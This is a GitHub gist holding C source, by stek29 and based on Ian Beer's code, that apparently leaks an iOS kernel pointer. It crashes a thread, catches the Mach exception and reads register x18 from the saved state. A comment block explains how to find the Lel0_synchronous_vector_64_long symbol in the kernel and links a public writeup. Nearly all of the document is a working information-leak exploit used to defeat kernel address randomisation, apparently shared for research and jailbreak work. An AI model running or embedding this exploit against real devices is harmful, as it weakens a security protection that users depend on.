Skip to content

Instantly share code, notes, and snippets.

@stek29
Last active October 8, 2021 06:12
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save stek29/e68e9eae382b975093252d6117b6b501 to your computer and use it in GitHub Desktop.
Save stek29/e68e9eae382b975093252d6117b6b501 to your computer and use it in GitHub Desktop.
// based on ian beer's code
// just use https://github.com/bazad/x18-leak , it's way cleaner
// by stek29
// see bazad's writeup: http://bazad.github.io/2018/04/kernel-pointer-crash-log-ios
#if 0
From https://gist.github.com/stek29/e68e9eae382b975093252d6117b6b501
Finding Lel0_synchronous_vector_64_long:
- Find string xref `"\"cpu_data_alloc() failed\n\""` (in `_ml_processor_register`)
- Next instructions should be `mov x19, 0; mov x0, x19; bl _cpu_data_init;`.
The `mov x0, x19` is also branched to after bzero call just to be sure.
- Go to `_cpu_data_init`.
It'd initialize a lot of structure feilds to constants, and two of them would be set to ptrs.
Right before the end, `_exc_vectors_table` would be referenced (after memset zeroing).
- `_exc_vectors_table` is an array of 12 function ptrs.
`Lel0_synchronous_vector_64_long` is 9th (if counting starts at 1).
To verify:
- It should theoretically end with 25c (at least on devices without KTRR) due to how exception handlers are aligned
- Compare to [`Lel0_synchronous_vector_64_long` in xnu sources](http://xr.anadoxin.org/source/xref/macos-10.13.2-highsierra/xnu-4570.31.3/osfmk/arm64/locore.s#420).
- In the end it loads `fleh_synchronous` into x1 and branches to `fleh_dispatch64`.
`fleh_dispatch64` calls `_sleh_synchronous`.
`_sleh_synchronous` references a lot of stuff, but one of the first string references
is `\"ESR (0x%x) for instruction trapped from U32, but saved state is 64-bit.\"`.
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <mach/mach.h>
mach_port_t make_exception_port() {
kern_return_t err;
mach_port_t p = MACH_PORT_NULL;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
if (err != KERN_SUCCESS) {
printf("mach port allocation failed: %s\n", mach_error_string(err));
return MACH_PORT_NULL;
}
err = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("right insertion failed: %s\n", mach_error_string(err));
mach_port_destroy(mach_task_self(), p);
return MACH_PORT_NULL;
}
return p;
}
// exc_server calls this function when it processes EXCEPTION_STATE exception
kern_return_t catch_exception_raise_state
(
mach_port_t exception_port,
exception_type_t exception,
const exception_data_t code,
mach_msg_type_number_t codeCnt,
int *flavor,
const thread_state_t old_state,
mach_msg_type_number_t old_stateCnt,
thread_state_t new_state,
mach_msg_type_number_t *new_stateCnt
)
{
// get x18 from old thread state
// and pass it to pthread_exit
// (so we can retrive it later with pthread_join)
_STRUCT_ARM_THREAD_STATE64* old_thr_state = (_STRUCT_ARM_THREAD_STATE64*)(old_state);
_STRUCT_ARM_THREAD_STATE64* new_thr_state = (_STRUCT_ARM_THREAD_STATE64*)(new_state);
// zero new thread state
memset(new_thr_state, 0, sizeof(*new_thr_state));
// count is obviously same
*new_stateCnt = old_stateCnt;
// redirect execution to pthread_exit
new_thr_state->__pc = (uint64_t)pthread_exit;
// pthread_exit needs a minimal stack
uint64_t crash_stack = (uint64_t) malloc(0x4000);
crash_stack += 0x3ff0;
new_thr_state->__sp = (uint64_t)crash_stack;
// set value_ptr to leaked address (which is in x18)
new_thr_state->__x[0] = old_thr_state->__x[18];
return KERN_SUCCESS;
}
union max_msg {
union __RequestUnion__exc_subsystem requests;
union __ReplyUnion__exc_subsystem replies;
};
extern boolean_t exc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);
void* thread_func(void* exception_port) {
// set our exception port
(void)thread_set_exception_ports(mach_thread_self(),
EXC_MASK_ALL,
(mach_port_t) exception_port,
EXCEPTION_STATE, // we want to receive a catch_exception_raise_state message
ARM_THREAD_STATE64);
// die
__builtin_trap();
}
int port_has_message(mach_port_t port) {
kern_return_t err;
mach_port_seqno_t msg_seqno = 0;
mach_msg_size_t msg_size = 0;
mach_msg_id_t msg_id = 0;
mach_msg_trailer_t msg_trailer; // NULL trailer
mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer);
err = mach_port_peek(mach_task_self(),
port,
MACH_RCV_TRAILER_NULL,
&msg_seqno,
&msg_size,
&msg_id,
(mach_msg_trailer_info_t)&msg_trailer,
&msg_trailer_size);
return (err == KERN_SUCCESS);
}
// port needs to have a send right
void crash_thread_with_handler_port(mach_port_t port) {
// start a new thread passing it the exception port
pthread_t t;
pthread_create(&t, NULL, thread_func, (void*)(uint64_t)port);
// associate the pthread_t with the port so that we can join the correct pthread
// when we receive the exception message and it exits:
(void) mach_port_set_context(mach_task_self(), port, (mach_port_context_t)t);
// wait until the message has actually been sent:
while (!port_has_message(port)) usleep(10);
}
uint64_t post_crash_get_leaked(mach_port_t port) {
// use good old exc_server from Mach (even pre-apple :)
// it would end up calling our catch_exception_raise_state
(void) mach_msg_server_once(exc_server, sizeof(union max_msg),
port, MACH_MSG_TIMEOUT_NONE);
// get the pthread context back from the port and join it:
pthread_t t;
(void) mach_port_get_context(mach_task_self(), port, (mach_port_context_t*) &t);
uint64_t leaked;
// value_ptr contains addr leaked in exception handler
pthread_join(t, (void**) &leaked);
return leaked;
}
// leak Lel0_synchronous_vector_64_long
uint64_t get_dat_addr(void) {
// prepare port
mach_port_t exc_handler_port = make_exception_port();
// crash thread with this exception port
crash_thread_with_handler_port(exc_handler_port);
// retrive leaked address from crashed thread state
uint64_t val = post_crash_get_leaked(exc_handler_port);
printf("Lel0_synchronous_vector_64_long: 0x%llx\n", val);
return val;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment